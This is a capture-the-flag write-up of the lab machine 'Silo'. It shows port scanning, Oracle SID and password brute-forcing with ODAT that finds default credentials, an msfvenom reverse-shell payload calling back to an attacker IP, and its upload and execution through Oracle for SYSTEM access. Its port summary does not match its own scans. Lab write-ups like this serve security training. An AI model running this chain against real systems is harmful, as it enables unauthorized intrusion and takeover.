Silo
Reconnaissance:
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.82
80/tcp open http Microsoft IIS httpd 8.5
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/8.5
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49159/tcp open oracle-tns Oracle TNS listener (requires service name)
49160/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/16%OT=80%CT=1%CU=35875%PV=Y%DS=2%DC=I%G=Y%TM=657
OS:E5D23%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10E%TI=I%CI=I%II=I%SS=S
OS:%TS=7)SEQ(SP=104%GCD=2%ISR=10E%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=105%GCD=1
OS:%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=7)OPS(O1=M53CNW8ST11%O2=M53CNW8ST11%O3=M
OS:53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CST11)WIN(W1=2000%W2=200
OS:0%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M53CNW8NNS%
OS:CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%
OS:A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%
OS:DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-time:
| date: 2023-12-17T02:29:46
|_ start_date: 2023-12-17T02:23:51
|_clock-skew: mean: -2s, deviation: 0s, median: -3s
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.82
PORT STATE SERVICE
123/udp open|filtered ntp
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
500/udp open|filtered isakmp
4500/udp open|filtered nat-t-ike
5355/udp open|filtered llmnr
20003/udp open|filtered commtact-https
40805/udp open|filtered unknownWe have fifteen open ports.
Port 80: running Microsoft-IIS/8.5
Ports 135, 49152, 49153, 49154, 49155,49158, 49161 & 49162: running Microsoft Windows RPC
Ports 139 & 445: running Samba
Ports 1521 & 4196: running Oracle TNS listener
Ports 5985 & 47001: running Microsoft HTTP API httpd 2.0
Port 80 is running a Microsoft IIS server. A quick google search tells us that the OS is probably Windows Server 2012 R2. The gobuster scan didn’t really find anything useful for this web server.
┌──(kali💀kali)-[~]
└─$ nikto -host 10.10.10.82
+ Server: Microsoft-IIS/8.5
+ /: Retrieved x-powered-by header: ASP.NET.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /FvdPFBj4.ashx: Retrieved x-aspnet-version header: 4.0.30319.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST .
+ OPTIONS: Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST .┌──(kali💀kali)-[~]
└─$ gobuster dir -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.82/
/*checkout* (Status: 400) [Size: 3420]
/*docroot* (Status: 400) [Size: 3420]
/* (Status: 400) [Size: 3420]
/http%3A%2F%2Fwww (Status: 400) [Size: 3420]
/http%3A (Status: 400) [Size: 3420]
/q%26a (Status: 400) [Size: 3420]
/**http%3a (Status: 400) [Size: 3420]
/*http%3A (Status: 400) [Size: 3420]Enumeration:
┌──(kali💀kali)-[~]
└─$ searchsploit Oracle TNS listener
Oracle 10gR2 - TNS Listener AUTH_SESSKEY Buffer Overflow (Met | windows/remote/16342.rb
Oracle 8.1.x/9.0/9.2 - TNS Listener Service_CurLoad Remote De | multiple/dos/21782.txt
Oracle 8i - TNS Listener 'ARGUMENTS' Remote Buffer Overflow ( | windows/remote/16340.rb
Oracle 8i - TNS Listener Buffer Overflow | windows/remote/20980.c
Oracle 8i - TNS Listener Local Command Parameter Buffer Overf | linux/local/21362.c
Oracle 8i - TNS Listener SERVICE_NAME Buffer Overflow (Metasp | windows/remote/16341.rb
Oracle RDBms 10.2.0.3/11.1.0.6 - TNS Listener (PoC) | windows/dos/8507.pyIf you don’t have ODAT installed on kali, the installation instructions can be found:
The first thing we need to enumerate is the Oracle System ID (SID) string. This is a string that is used to uniquely identify a particular database on a system. This can be done using the sidguesser module in ODAT.
┌──(kali💀kali)-[~]
└─$ sudo odat sidguesser -s 10.10.10.82 -p1521
[1] (10.10.10.82:1521): Searching valid SIDs
[1.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server
[+] 'XE' is a valid SID. Continue... ######################### | ETA: 00:00:03
100% |#########################################################################| Time: 00:06:24
[1.2] Searching valid SIDs thanks to a brute-force attack on 1 chars now (10.10.10.82:1521)
100% |#########################################################################| Time: 00:00:12
[1.3] Searching valid SIDs thanks to a brute-force attack on 2 chars now (10.10.10.82:1521)
[+] 'XE' is a valid SID. Continue... ################## | ETA: 00:00:37
100% |#########################################################################| Time: 00:05:46
[+] SIDs found on the 10.10.10.82:1521 server: XEThis takes a while, but it does find 4 valid SID strings.
[+] SIDs found on the 10.10.10.82:1521 server: XE,XEXDB,SA,SBWe discovered an SID called ‘XE’. Now let’s try finding valid credentials on this server:
┌──(kali💀kali)-[~]
└─$ sudo odat passwordguesser -s 10.10.10.82 -p1521 -d XE
[1] (10.10.10.82:1521): Searching valid accounts on the 10.10.10.82 server, port 1521
The login cis has already been tested at least once. What do you want to do: | ETA: 00:19:52
- stop (s/S)
- continue and ask every time (a/A)
- skip and continue to ask (p/P)
- continue without to ask (c/C)
c
[!] Notice: 'ctxsys' account is locked, so skipping this username for password | ETA: 00:22:51
[!] Notice: 'dbsnmp' account is locked, so skipping this username for password | ETA: 00:21:55
[!] Notice: 'dip' account is locked, so skipping this username for password | ETA: 00:20:38
[!] Notice: 'hr' account is locked, so skipping this username for password | ETA: 00:16:36
[!] Notice: 'mdsys' account is locked, so skipping this username for password | ETA: 00:12:38
[!] Notice: 'oracle_ocm' account is locked, so skipping this username for passwordTA: 00:09:48
[!] Notice: 'outln' account is locked, so skipping this username for password | ETA: 00:08:48
[+] Valid credentials found: scott/tiger. Continue... ########## | ETA: 00:04:50
[!] Notice: 'xdb' account is locked, so skipping this username for password# | ETA: 00:00:57
100% |#########################################################################| Time: 00:24:01
[+] Accounts found on 10.10.10.82:1521/sid:XE:
scott/tiger Now we have valid credentials: user ‘scott’ and password ‘tiger’ for the server ID ‘XE’. We can use them to upload a reverse shell and execute it.
To do that first we need to prepare our EXE reverse shell using MSFvenom:
┌──(kali💀kali)-[~/Desktop]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f exe > shell.exeNow upload the reverse shell:
┌──(kali💀kali)-[~]
└─$ sudo odat utlfile -s 10.10.10.82 --sysdba -d XE -U scott -P tiger --putFile /temp tonee.exe /home/kali/Desktop/shell.exeStart the NC listener on the port that we used with MSFvenom:
┌──(kali💀kali)-[~]
└─$ nc -nvlp 4444Finally, execute the shell:
┌──(kali💀kali)-[~]
└─$ sudo odat externaltable -s 10.10.10.82 --sysdba -d XE -U scott -P tiger --exec /temp tonee.exeGo back to your NC listener:
We are NT Authority\System.
Last updated